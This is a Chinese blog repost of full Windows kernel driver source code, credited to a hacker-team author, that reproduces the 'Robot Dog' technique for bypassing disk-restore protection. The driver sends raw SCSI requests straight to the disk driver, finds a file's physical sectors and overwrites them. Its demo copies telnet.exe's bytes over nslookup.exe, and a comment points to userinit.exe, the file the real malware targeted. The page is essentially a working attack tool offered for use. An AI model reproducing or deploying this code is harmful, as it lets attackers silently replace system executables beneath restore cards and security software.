[转]机器狗穿透还原的磁盘级文件读写完整驱动代码

最新推荐文章于 2023-08-03 09:46:23 发布
最新推荐文章于 2023-08-03 09:46:23 发布
阅读量1.1k 收藏 1
点赞数
文章标签： 磁盘 object integer pointers buffer module

 转载自：http://www.smatrix.org/bbs/read.php?tid=4920

 

文章作者：Eros412
信息来源：邪恶八进制信息安全团队（ www.eviloctal.com）

复制代码
  1. #include<ntddk.h>
  2. #include<srb.h>
  3. #define FSCTL_GET_RETRIEVAL_POINTERS 0x90073
  4. #define PARTITION_TYPE_NTFS        0x07
  5. #define PARTITION_TYPE_FAT32        0x0B
  6. #define PARTITION_TYPE_FAT32_LBA    0x0C
  7. extern POBJECT_TYPE* IoDriverObjectType;
  8. LARGE_INTEGER realdiskpos;
  9. ULONG sectorspercluster;
  10. typedef struct RETRIEVAL_POINTERS_BUFFER {
  11.   ULONG ExtentCount;
  12.   LARGE_INTEGER StartingVcn;
  13.   struct {
  14.     LARGE_INTEGER NextVcn;
  15.     LARGE_INTEGER Lcn;
  16.   } Extents[1];
  17. } RETRIEVAL_POINTERS_BUFFER, *PRETRIEVAL_POINTERS_BUFFER;
  18. typedef struct {  LARGE_INTEGER StartingVcn;
  19. } STARTING_VCN_INPUT_BUFFER,  *PSTARTING_VCN_INPUT_BUFFER;
  20. typedef struct _SENSE_DATA {
  21.   unsigned char Valid;
  22.   unsigned char SegmentNumber;
  23.   unsigned char FileMark;
  24.   unsigned char Information[4];
  25.   unsigned char AdditionalSenseLength;
  26.   unsigned char CommandSpecificInformation[4];
  27.   unsigned char AdditionalSenseCode;
  28.   unsigned char AdditionalSenseCodeQualifier;
  29.   unsigned char FieldReplaceableUnitCode;
  30.   unsigned char SenseKeySpecific[3];
  31. } SENSE_DATA, *PSENSE_DATA;
  32. #pragma pack(1)
  33. typedef struct _PARTITION_ENTRY
  34. {
  35.   UCHAR active;               
  36.   UCHAR StartHead;             
  37.   UCHAR StartSector;           
  38.   UCHAR StartCylinder;         
  39.   UCHAR PartitionType;         
  40.   UCHAR EndHead;               
  41.   UCHAR EndSector;             
  42.   UCHAR EndCylinder;         
  43.   ULONG StartLBA;             
  44.   ULONG TotalSector;           
  45. } PARTITION_ENTRY, *PPARTITION_ENTRY;
  46. typedef struct _MBR_SECTOR
  47. {
  48.   UCHAR            BootCode[446];
  49.   PARTITION_ENTRY  Partition[4];
  50.   USHORT          Signature;
  51. } MBR_SECTOR, *PMBR_SECTOR;
  52. typedef struct _BBR_SECTOR
  53. {
  54.   USHORT JmpCode;         
  55.   UCHAR  NopCode;           
  56.   UCHAR  OEMName[8];       
  57.   USHORT BytesPerSector;     
  58.   UCHAR  SectorsPerCluster; 
  59.   USHORT ReservedSectors;     
  60.   UCHAR  NumberOfFATs;       
  61.   USHORT RootEntries;     
  62.   USHORT NumberOfSectors16;   
  63.   UCHAR  MediaDescriptor;   
  64.   USHORT SectorsPerFAT16;   
  65.   USHORT SectorsPerTrack;   
  66.   USHORT HeadsPerCylinder;   
  67.   ULONG  HiddenSectors;     
  68.   ULONG  NumberOfSectors32;   
  69.   ULONG  SectorsPerFAT32;     
  70. } BBR_SECTOR, *PBBR_SECTOR;
  71. #pragma pack()
  72. typedef struct _SYSTEM_MODULE_INFORMATION {
  73. ULONG Reserved[2];
  74. PVOID Base;
  75. ULONG Size;
  76. ULONG Flags;
  77. USHORT Index;
  78. USHORT Unknown;
  79. USHORT LoadCount;
  80. USHORT ModuleNameOffset;             
  81. CHAR ImageName[255]; 
  82. } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
  83. NTSYSAPI
  84. NTSTATUS
  85. NTAPI
  86. ObReferenceObjectByName(
  87. IN PUNICODE_STRING ObjectName,
  88. IN ULONG Attributes,
  89. IN PACCESS_STATE AccessState OPTIONAL,
  90. IN ACCESS_MASK DesiredAccess OPTIONAL,
  91. IN POBJECT_TYPE ObjectType,
  92. IN KPROCESSOR_MODE AccessMode,
  93. IN OUT PVOID ParseContext OPTIONAL,
  94. OUT PVOID* Object );
  95. NTSYSAPI
  96. NTSTATUS
  97. NTAPI
  98. ZwQuerySystemInformation(
  99.     IN ULONG SystemInformationClass,
  100.     IN OUT PVOID SystemInformation,
  101.     IN ULONG SystemInformationLength,
  102.     OUT PULONG ReturnLength);
  103. NTSTATUS
  104.   IrpCompletionRoutine(
  105.     IN PDEVICE_OBJECT  DeviceObject,
  106.     IN PIRP  Irp,
  107.     IN PVOID  Context
  108.     ){
  109.         PMDL mdl;
  110.   Irp->UserIosb->Status=Irp->IoStatus.Status;
  111.   Irp->UserIosb->Information=Irp->IoStatus.Information;
  112.   if(! Context)
  113.   {
  114.   mdl=Irp->MdlAddress;
  115.   if(mdl){
  116.       DbgPrint("read size: %d..", Irp->IoStatus.Information);
  117.       MmUnlockPages(mdl);
  118.       IoFreeMdl(mdl);
  119.   }}
  120.   KeSetEvent(Irp->UserEvent, IO_NO_INCREMENT, 0);
  121.   IoFreeIrp(Irp);
  122. return STATUS_MORE_PROCESSING_REQUIRED;
  123. }
  124. NTSTATUS IrpCompletionRoutine_0(
  125.     IN PDEVICE_OBJECT  DeviceObject,
  126.     IN PIRP  Irp,
  127.     IN PVOID  Context
  128.     ){
  129.         PMDL mdl;
  130.   Irp->UserIosb->Status=Irp->IoStatus.Status;
  131.   Irp->UserIosb->Information=Irp->IoStatus.Information;
  132.   if (! Context )
  133.   {
  134.     mdl=Irp->MdlAddress;
  135.     if ( mdl )
  136.     {
  137.       DbgPrint("read size: %d..", Irp->IoStatus.Information);
  138.       MmUnlockPages(mdl);
  139.       IoFreeMdl(mdl);
  140.     }
  141.   }
  142.   KeSetEvent(Irp->UserEvent, IO_NO_INCREMENT, 0);
  143.   IoFreeIrp(Irp);
  144.   return STATUS_MORE_PROCESSING_REQUIRED;
  145. }
  146. ULONG GetModuleBase(char* name){
  147.     ULONG                      n,i ;
  148.     PSYSTEM_MODULE_INFORMATION  module;
  149.     PVOID                      pbuftmp;
  150.         char modulename[255];
  151.     ZwQuerySystemInformation(11, &n, 0, &n);
  152.     pbuftmp = ExAllocatePool(NonPagedPool, n);
  153.     ZwQuerySystemInformation(11, pbuftmp, n, NULL);
  154. module = (PSYSTEM_MODULE_INFORMATION)((PULONG )pbuftmp + 1 );
  155. n      = *((PULONG)pbuftmp );
  156.     for ( i = 0; i < n; i++ )
  157.     {
  158.                 strcpy(modulename,module[i].ImageName + module[i].ModuleNameOffset);
  159.                 if(!_strnicmp(modulename,name,strlen(name))){
  160.                         ExFreePool(pbuftmp);
  161.                         return (ULONG)module[i].Base;
  162.                 }
  163.     }
  164. ExFreePool(pbuftmp);
  165. return 0;
  166. }
  167. NTSTATUS MyIoCallDriver(PDEVICE_OBJECT DeviceObject,PIRP Irp)//自己的IoCallDriver
  168. {
  169.   PIO_STACK_LOCATION stack;
  170.   --Irp->CurrentLocation;
  171.   stack = IoGetNextIrpStackLocation( Irp );
  172.   Irp->Tail.Overlay.CurrentStackLocation= stack;//移动堆栈
  173.   stack->DeviceObject=DeviceObject;
  174.   return (DeviceObject->DriverObject->MajorFunction[(ULONG)stack->MajorFunction])(DeviceObject, Irp);
  175. }
  176. ULONG  AtapiReadWriteDisk(PDEVICE_OBJECT dev_object,ULONG MajorFunction, PVOID buffer,ULONG DiskPos, int BlockCount)
  177. {
  178.         NTSTATUS status;
  179.         PSCSI_REQUEST_BLOCK srb;
  180.     PSENSE_DATA sense;
  181.         KEVENT Event;
  182.         PIRP irp;
  183.         PMDL mdl;
  184.         IO_STATUS_BLOCK isb;
  185.         PIO_STACK_LOCATION isl;
  186.         PVOID psense;
  187.         int count=8;
  188.         while(1){
  189.         srb=ExAllocatePool(0,sizeof(SCSI_REQUEST_BLOCK));
  190.         if(!srb)
  191.                 break;
  192.         sense=ExAllocatePool(0,sizeof(SENSE_DATA));
  193.         psense=sense;
  194.         if(!sense)
  195.                 break;
  196.         memset(srb,0,sizeof(SCSI_REQUEST_BLOCK));
  197.         memset(sense,0,sizeof(SENSE_DATA));
  198.         srb->Length=sizeof(SCSI_REQUEST_BLOCK);//更多关于srb,请看《SCSI 总线和IDE接口：协议、应用和编程》和《SCSI程序员指南》
  199.         srb->Function=0;
  200.         srb->DataBuffer=buffer;
  201.         srb->DataTransferLength=BlockCount<<9;//sector size*number of sector
  202.         srb->QueueAction=SRB_FLAGS_DISABLE_AUTOSENSE;
  203.         srb->SrbStatus=0;
  204.         srb->ScsiStatus=0;
  205.         srb->NextSrb=0;
  206.         srb->SenseInfoBuffer=sense;
  207.         srb->SenseInfoBufferLength=sizeof(SENSE_DATA);
  208.         if(MajorFunction==IRP_MJ_READ)
  209.                 srb->SrbFlags=SRB_FLAGS_DATA_IN;
  210.         else
  211.                 srb->SrbFlags=SRB_FLAGS_DATA_OUT;
  212.         if(MajorFunction==IRP_MJ_READ)
  213.                 srb->SrbFlags|=SRB_FLAGS_ADAPTER_CACHE_ENABLE;
  214.             srb->SrbFlags|=SRB_FLAGS_DISABLE_AUTOSENSE;
  215.                 srb->TimeOutValue=(srb->DataTransferLength>>10)+1;
  216.                 srb->QueueSortKey=DiskPos;
  217.                 srb->CdbLength=10;
  218.                 srb->Cdb[0]=2*((UCHAR)MajorFunction+ 17);
  219.                 srb->Cdb[1]=srb->Cdb[1] & 0x1F | 0x80;
  220.                 srb->Cdb[2]=(unsigned char)(DiskPos>>0x18)&0xFF;    //
  221.                 srb->Cdb[3]=(unsigned char)(DiskPos>>0x10)&0xFF;    //
  222.                 srb->Cdb[4]=(unsigned char)(DiskPos>>0x08)&0xFF;    //
  223.                 srb->Cdb[5]=(UCHAR)DiskPos;          //填写sector位置
  224.                 srb->Cdb[7]=(UCHAR)BlockCount>>0x08;
  225.                 srb->Cdb[8]=(UCHAR)BlockCount;
  226.                 //By:Eros412
  227.                 KeInitializeEvent(&Event, 0, 0);
  228.                 irp=IoAllocateIrp(dev_object->StackSize,0);
  229.                 mdl=IoAllocateMdl(buffer, BlockCount<<9, 0, 0, irp);
  230.                 irp->MdlAddress=mdl;
  231.                 if(!mdl){
  232.       ExFreePool(srb);
  233.       ExFreePool(psense);
  234.       IoFreeIrp(irp);
  235.       return STATUS_INSUFFICIENT_RESOURCES;
  236.     }
  237.                 MmProbeAndLockPages(mdl,0,(MajorFunction==IRP_MJ_READ?0:1));
  238.                 srb->OriginalRequest=irp;
  239.                 irp->UserIosb=&isb;
  240.                 irp->UserEvent=&Event;
  241.                 irp->IoStatus.Status=0;
  242.                 irp->IoStatus.Information=0;
  243.                 irp->Flags=IRP_SYNCHRONOUS_API|IRP_NOCACHE;
  244.                 irp->AssociatedIrp.SystemBuffer=0;
  245.                 irp->Cancel=0;
  246.                 irp->RequestorMode=0;
  247.                 irp->CancelRoutine=0;
  248.                 irp->Tail.Overlay.Thread=PsGetCurrentThread();
  249.                 isl=IoGetNextIrpStackLocation(irp);
  250.                 isl->DeviceObject=dev_object;
  251.                 isl->MajorFunction=IRP_MJ_SCSI;
  252.                 isl->Parameters.Scsi.Srb=srb;
  253.                 isl->CompletionRoutine=IrpCompletionRoutine_0;
  254.         isl->Context=srb;
  255.         isl->Control=SL_INVOKE_ON_CANCEL|SL_INVOKE_ON_SUCCESS|SL_INVOKE_ON_ERROR;
  256.                 status=MyIoCallDriver(dev_object,irp);
  257.                 KeWaitForSingleObject(&Event, 0, 0, 0, 0);
  258.                 if(srb->SenseInfoBuffer!=psense&&srb->SenseInfoBuffer)
  259.                         ExFreePool(srb->SenseInfoBuffer);
  260.                 ExFreePool(srb);
  261.                 ExFreePool(psense);
  262.         if ( status >= 0 || !count )
  263.         return status;
  264.                 DbgPrint("Send XXX Failed..%08x/r/n", status);
  265.                 KeStallExecutionProcessor(1u);
  266.                 --count;
  267.         }
  268. return STATUS_INSUFFICIENT_RESOURCES;
  269. }
  270. PDEVICE_OBJECT GetLastDiskDeviceObject(PDRIVER_OBJECT drv_object)//这个就是DR0
  271. {
  272.   PDEVICE_OBJECT result;
  273.   PDEVICE_OBJECT finddev;
  274.   finddev=drv_object->DeviceObject;
  275.   result=NULL;
  276.   while (finddev)
  277.   {
  278.     if (finddev->DeviceType==FILE_DEVICE_DISK)
  279.       result = finddev;
  280.     finddev=finddev->NextDevice;
  281.   }
  282.   return result;
  283. }
  284. PDEVICE_OBJECT GetAtaDr0DevObject(){
  285. UNICODE_STRING diskstr;
  286. PDRIVER_OBJECT diskdrv;
  287. PDEVICE_OBJECT dr0dev;
  288.     RtlInitUnicodeString(&diskstr, L"//Driver//Disk");
  289.         if(ObReferenceObjectByName(&diskstr,64,0,0,*IoDriverObjectType,0,0,&diskdrv)<0)
  290.                 return NULL;
  291. dr0dev=GetLastDiskDeviceObject(diskdrv);
  292. if(dr0dev)
  293. DbgPrint("Eros412 said : ata dr0 dev obj is : %08x...",dr0dev);
  294. ObfDereferenceObject(diskdrv);
  295. return dr0dev;
  296. }
  297. PDEVICE_OBJECT GetFileObjectDevice(PFILE_OBJECT Object){
  298.         PDEVICE_OBJECT result=NULL;
  299.         PVPB vpb;
  300.         vpb=Object->Vpb;
  301.         result=vpb->DeviceObject;
  302.         if(!vpb||!result)
  303.         {
  304.                 if(!Object->DeviceObject->Vpb||!Object->DeviceObject->Vpb->DeviceObject)
  305.                         result=Object->DeviceObject;
  306.         }
  307. return result;
  308. }
  309. PLARGE_INTEGER GetPosAndCluster()//得到第一个分区文件数据的起始位置
  310. {
  311.         PVOID buffer;
  312.         ULONG type,startlba;
  313.         int i;
  314.         PLARGE_INTEGER result;
  315.         PDEVICE_OBJECT dev;
  316.         PMBR_SECTOR mbrsec;
  317.         PPARTITION_ENTRY partition0;
  318.         PBBR_SECTOR bootsec;
  319.         result=ExAllocatePool(0,sizeof(LARGE_INTEGER));
  320.         dev=GetAtaDr0DevObject();
  321.         if(dev){
  322.         buffer=ExAllocatePool(0,512);
  323.         memset(buffer,0,512);
  324.         if(AtapiReadWriteDisk(dev, IRP_MJ_READ, buffer, 0, 1)>0)
  325.                 DbgPrint("AtapiReadWriteDisk ok");
  326.         mbrsec=(PMBR_SECTOR)buffer;
  327.         partition0=&mbrsec->Partition[0];
  328.         startlba=partition0[0].StartLBA;
  329.         type=partition0[0].PartitionType;
  330.         DbgPrint("dwPartOnePos:0x%08x..1", startlba);
  331.         result->QuadPart=startlba;
  332.         memset(buffer,0,512);
  333.         if(AtapiReadWriteDisk(dev, IRP_MJ_READ, buffer, startlba, 1)>0){
  334.                 bootsec=(PBBR_SECTOR)buffer;
  335.         DbgPrint("gSectorsPerCluster:%d...", bootsec->SectorsPerCluster);
  336.         sectorspercluster=bootsec->SectorsPerCluster;
  337.         }
  338.         result->QuadPart+=bootsec->ReservedSectors;
  339.         DbgPrint("dwPartOnePos:%I64x..2/r/n", result->QuadPart);
  340.         if(type==PARTITION_TYPE_FAT32||type==PARTITION_TYPE_FAT32_LBA)
  341.                 result->QuadPart+=bootsec->NumberOfFATs*bootsec->SectorsPerFAT32;
  342.         DbgPrint("dwPartOnePos:%I64x..3/r/n", result->QuadPart);
  343.         }
  344.         else
  345.                 result->QuadPart=0;
  346.         return result;
  347. }
  348. NTSTATUS OpenFile(PHANDLE FileHandle,PWCHAR filename)
  349. {
  350.   NTSTATUS status;
  351.   ULONG v3;
  352.   int v5;
  353.   UNICODE_STRING DestinationString;
  354.   OBJECT_ATTRIBUTES ObjectAttributes;
  355.   struct _IO_STATUS_BLOCK IoStatusBlock;
  356.   RtlInitUnicodeString(&DestinationString, filename);//L"//SystemRoot//System32//userinit.exe"
  357.   ObjectAttributes.ObjectName = &DestinationString;
  358.   ObjectAttributes.Length = 24;
  359.   ObjectAttributes.RootDirectory = 0;
  360.   ObjectAttributes.Attributes =OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE;// 576;
  361.   ObjectAttributes.SecurityDescriptor = 0;
  362.   ObjectAttributes.SecurityQualityOfService = 0;
  363.   status = IoCreateFile(FileHandle, GENERIC_READ , &ObjectAttributes, &IoStatusBlock, 0, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ, FILE_OPEN , 0x50u, 0, 0, 0, 0, 0);
  364.   if ( status != STATUS_SUCCESS)
  365. DbgPrint("Open File failed...%08x..", status );
  366.   return status;
  367. }
  368. PLARGE_INTEGER getfilesize(PWCHAR filename){
  369. PLARGE_INTEGER filesize;
  370. HANDLE hfile;
  371. IO_STATUS_BLOCK IoStatusBlock;
  372. filesize=ExAllocatePool(0,sizeof(LARGE_INTEGER));
  373. OpenFile(&hfile,filename);
  374. ZwQueryInformationFile(hfile, &IoStatusBlock, filesize, 24, FileStandardInformation);
  375. return filesize;
  376. }
  377. NTSTATUS InitSectors(PWCHAR filename){//得到文件在扇区的位置，存放在realdiskpos
  378.         PLARGE_INTEGER diskpos;
  379.         NTSTATUS status,newstatus;
  380.         HANDLE filehandle;
  381.         PVOID testingpool;
  382.         IO_STATUS_BLOCK iosb;
  383.         LARGE_INTEGER ByteOffset;
  384.         PFILE_OBJECT Object;
  385.         PDEVICE_OBJECT dev;
  386.         PIRP irp;
  387.         KEVENT Event;
  388.         IO_STATUS_BLOCK iosb2;
  389.     PIO_STACK_LOCATION nextio;
  390.         STARTING_VCN_INPUT_BUFFER StartVcn;
  391.         unsigned char abBuffer[1024];
  392.     PRETRIEVAL_POINTERS_BUFFER pVcnPairs;
  393.         realdiskpos.QuadPart=0;
  394.         StartVcn.StartingVcn.QuadPart=0;
  395.        
  396.     memset(abBuffer, 0, 1024);
  397.     pVcnPairs = (PRETRIEVAL_POINTERS_BUFFER)abBuffer;
  398.         if(OpenFile(&filehandle,filename)!= STATUS_SUCCESS)
  399.                 return 1;
  400.         testingpool=ExAllocatePool(0,512);
  401.         ByteOffset.QuadPart=0;
  402.         if(ZwReadFile(filehandle,0,0,0,&iosb,testingpool,512,&ByteOffset,0)!=STATUS_SUCCESS){
  403.                 DbgPrint("ZwReadFile error");
  404.                 goto end;
  405.         }
  406.         if(ObReferenceObjectByHandle(filehandle,0,(POBJECT_TYPE)*IoFileObjectType,0,&Object,0)<0){
  407.                 DbgPrint("ObReferenceObjectByHandle error");
  408.                 goto end;
  409.         }
  410.         dev=GetFileObjectDevice(Object);
  411.         if(!dev){
  412.         DbgPrint("Get Device Object error");
  413.         goto end2;
  414.         }
  415.         DbgPrint("pDevObj is: %08x...",dev);
  416.         irp=IoAllocateIrp( dev->StackSize, 0);
  417.   if(irp==NULL)
  418.           goto end2;
  419.   KeInitializeEvent(&Event, SynchronizationEvent, 0);
  420.   irp->AssociatedIrp.SystemBuffer=&StartVcn;
  421.   irp->UserBuffer=pVcnPairs;
  422.   irp->UserEvent=&Event;
  423.   irp->MdlAddress=0;
  424.   irp->UserIosb=&iosb2;
  425.   irp->RequestorMode=KernelMode;
  426.   irp->Tail.Overlay.Thread=PsGetCurrentThread();
  427.   irp->Tail.Overlay.OriginalFileObject=Object;
  428.   irp->Flags = 0;
  429.   nextio = IoGetNextIrpStackLocation(irp);
  430.   nextio->MajorFunction=IRP_MJ_FILE_SYSTEM_CONTROL;
  431.   nextio->DeviceObject=dev;
  432.   nextio->FileObject=Object;
  433.   nextio->Parameters.FileSystemControl.InputBufferLength= sizeof(STARTING_VCN_INPUT_BUFFER);
  434.   nextio->Parameters.FileSystemControl.FsControlCode=FSCTL_GET_RETRIEVAL_POINTERS;
  435.   nextio->Parameters.FileSystemControl.Type3InputBuffer=&StartVcn;
  436.   nextio->Parameters.FileSystemControl.OutputBufferLength=1024;
  437.   nextio->CompletionRoutine=IrpCompletionRoutine;
  438.   nextio->Context=0;
  439.   nextio->Control=SL_INVOKE_ON_CANCEL|SL_INVOKE_ON_SUCCESS|SL_INVOKE_ON_ERROR;
  440.  
  441.     MyIoCallDriver(dev,irp);
  442.     KeWaitForSingleObject(&Event, 0,0,0, NULL);
  443.     newstatus = iosb2.Status;
  444.         if(newstatus<0){
  445.                 DbgPrint("MyIofCallDriver  failed:%08x...",newstatus);
  446.                 goto end2;
  447.         }
  448.         DbgPrint("ExtentCount = %d",pVcnPairs->ExtentCount);
  449.         DbgPrint("StartLcn = %I64x",pVcnPairs->Extents[0].Lcn.QuadPart);
  450.         diskpos=GetPosAndCluster();
  451.         realdiskpos.QuadPart=diskpos->QuadPart+sectorspercluster*pVcnPairs->Extents[0].Lcn.QuadPart;
  452.         if(diskpos){
  453.                 DbgPrint("gDiskPos is: %I64x..Cluster:%d...part offset: %08x..",realdiskpos.QuadPart,sectorspercluster,diskpos->QuadPart);
  454.         }
  455.         return 0;
  456. end2:
  457.         if(irp!=NULL)
  458.         IoFreeIrp(irp);
  459.         ObDereferenceObject(Object);
  460. end:
  461.                 ZwClose(filehandle);
  462.                 if(testingpool)
  463.                 ExFreePool(testingpool);
  464.                 return 1;
  465. }
  466. VOID DriverUnload(
  467.     IN PDRIVER_OBJECT  DriverObject
  468.     ){
  469. }
  470. NTSTATUS
  471.   DriverEntry(
  472.     IN PDRIVER_OBJECT  DriverObject,
  473.     IN PUNICODE_STRING  RegistryPath
  474.     ){
  475.         PLARGE_INTEGER filesize;
  476.         PDEVICE_OBJECT dev;
  477.         PVOID buf;
  478.         ULONG psector;
  479.   DriverObject->DriverUnload =DriverUnload;
  480.   InitSectors(L"//??//c://telnet.exe");//找了两个大小差不多的文件，把telnet.exe的binary code拷贝到nslookup.exe，系统重启后生效（注：当exe执行时
  481. FSD从cache里把内容拷贝过来，所以需要重启）
  482.   filesize=getfilesize(L"//??//c://telnet.exe");
  483.   buf=ExAllocatePool(0,filesize->LowPart);
  484.   memset(buf,0x00,filesize->LowPart);
  485.   dev=GetAtaDr0DevObject();
  486.   psector=realdiskpos.LowPart;
  487.   if(dev!=NULL&&psector!=0&&buf!=NULL){
  488. AtapiReadWriteDisk(dev,IRP_MJ_READ,buf,psector,(filesize->LowPart/512)+1);
  489. InitSectors(L"//??//c://nslookup.exe");
  490. filesize=getfilesize(L"//??//c://nslookup.exe");
  491. psector=realdiskpos.LowPart;
  492. AtapiReadWriteDisk(dev,IRP_MJ_WRITE,buf,psector,(filesize->LowPart/512)+1);
  493.   }
  494. return STATUS_SUCCESS;
  495. }

matrix2009
关注
2024Java面试-Redis常见面试题（1）
青松之竹_Java博客
04-20 89
给大家介绍下目前市面上Java方面Redis常见的面试题
磁盘还原驱动代码
10-23
磁盘过滤，实现对系统的还原，是初学驱动编程参考的好资料
磁盘还原代码 diskflt 2.0
07-23
磁盘还原代码 diskflt 2.0 类似 迅闪还原 这个代码是VC6的 只支持 XP - WIN7 32位系统
机器狗穿透还原的磁盘级文件读写完整驱动代码
求索
01-14 1980
机器狗穿透还原的磁盘级文件读写完整驱动代码
易语言驱动磁盘还原
07-15
易语言驱动磁盘还原源码,驱动磁盘还原,找字节,取保护信息,改保护,拦截驱动,取拦截信息,修改密码,安装驱动,写入注册表,卸载驱动,磁盘信息,重启系统,驱动是否运行,MD5加密,MD5演示函数_取高16位,MD5演示函数_取低16位,MD5演示函数_正整数加法,MD5演示函数_循环
驱动级磁盘级文件读写完整代码
03-04
（编译成sys后作为服务加载）实现驱动级别磁盘读写
机器狗穿透还原的磁盘级文件读写完整驱动
05-29
根据给定文件的信息，我们可以分析出这是一段与操作系统内核相关的代码，主要涉及的是一个针对特定场景（如机器狗穿透还原）下实现磁盘级文件读写的驱动程序。接下来，我们将围绕标题、描述和部分代码片段来深入探讨...
变形机器狗解析
09-07
2. **穿透式攻击**：由于采用了底层hook技术，“变形机器狗”可以轻易绕过现有的防病毒软件及系统还原机制。这意味着即便用户安装了最新的安全软件或使用了硬件级别的还原卡也无法阻止其入侵和破坏。此外，该病毒还...
电脑 快速还原4.2
06-05
如：(c:\windows\system32\userinit.exe)上述文件系统已经自动加入，已经可以免疫“机器狗”等穿透还原型病毒。 “机器狗”病毒资料 http://www.pubgen.net/bbs3/dispbbs.asp?boardID=4&ID=579&page=1 安装注意：...
快乐网管超级保护 12
05-10
运行稳定，不耗资源，不怕机器狗和类似的变种 超级保护有效防止被恶意破解 不用重启而即时转储更新的游戏数据。 支持IDE、SISI、SATA磁盘格式和他们的磁盘组（各种RAID模式） 支持所有系统分区格式，不和任何驱动...
实现一个具有还原功能的磁盘卷过滤驱动
08-14
实现一个具有还原功能的磁盘卷过滤驱动，详细代码分析
DeviceIoControl获取文件LCN
Nero Zhang的博客
10-15 652
在灾备项目组做CDP（Continual Data Protection），刚刚入门，最近看了下关于磁盘的操作，记录一下DeviceIoControl()。 NTFS中的文件结构 NTFS文件系统中，磁盘文件存储管理的最小单位是簇(Cluster)。一个簇由连续的若干个扇区构成。对于一个文件来说，我们将其在磁盘上占用的连续的簇称为簇流(Cluster Runs，不知道怎么翻译，有人称之为簇流，
DeviceIoControl 直接从磁盘扇区读文件
flyingleo1981的专栏
11-10 1233
好久没写博客了，最近看了下DeviceIoControl  关于磁盘的应用，特记一文，以备久后查阅。 首先介绍下，文件在磁盘的存储结构（具体可以到网上查询NTFS文件系统相关的教程后者数据恢复方面教程的介绍）。下面介绍的仅与此文相关。 文件属性（头）： （Ps: 截图摘自[数据重现文件系统原理精解与数据恢复最佳实践].(马林））
[Win驱动7]ObReferenceObjectByName获取设备对象指针(PDEVICE_OBJECT)
輚至消亡
10-18 1463
1. ObReferenceObjectByName是通过设备对象名获取设备对象指针, 其会造成设备对象的引用计数增加所以还需要调用ObDereferenceObject来降低引用计数 2. IoGetDeviceObjectPointer可以通过设备对象名获取设备对象指针和与其相关的文件对象指针，同样需要对其调用ObDereferenceObject来降低引用 第一种方式是通过这个未公开的内核函数ObReferenceObjectByName来获取设备对象指针，该原型是这样的: NTKERNELA
ufs2.2 协议扫盲(十二)
GRZ的博客
01-10 2095
RESPONSE UPIU
SCSI系列三：linux SCSI 子系统十六-scsi_common（2）
最新发布
探索未知，成就非凡
08-03 215
遍历过程中，它将逐个检查描述符的类型字段，如果找到匹配的类型，则返回指向该描述符的指针。数组中的元素按照 SCSI 设备类型的编号进行排列，这些编号由 ANSI/INCITS T10 标准指定，并是 SCSI 设备类型的标准化表示方式。首先，函数会检查感知数据是否为描述符格式（response_code为0x72或0x73），以及是否有足够的数据（至少8个字节）。：表示感知数据的格式，非零表示描述符格式（descriptor format），0表示固定格式（fixed format）。否则返回false。
Windwos下读取被独占打开文件的方法
求索
01-14 4849
Windwos下读取被独占打开文件的方法
VC++拷贝处于占用状态的文件
fx_odyssey的博客
08-19 429
#include <stdio.h> #include <stdlib.h> #include <Windows.h> #include <string> using namespace std; #define WLEN 256 ULONGLONG* GetFileClusters(LPCWSTR lpFileName, ULONG ClusterSize, ULONG* ClCount, ULONG* FileSize) { HANDLE .
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值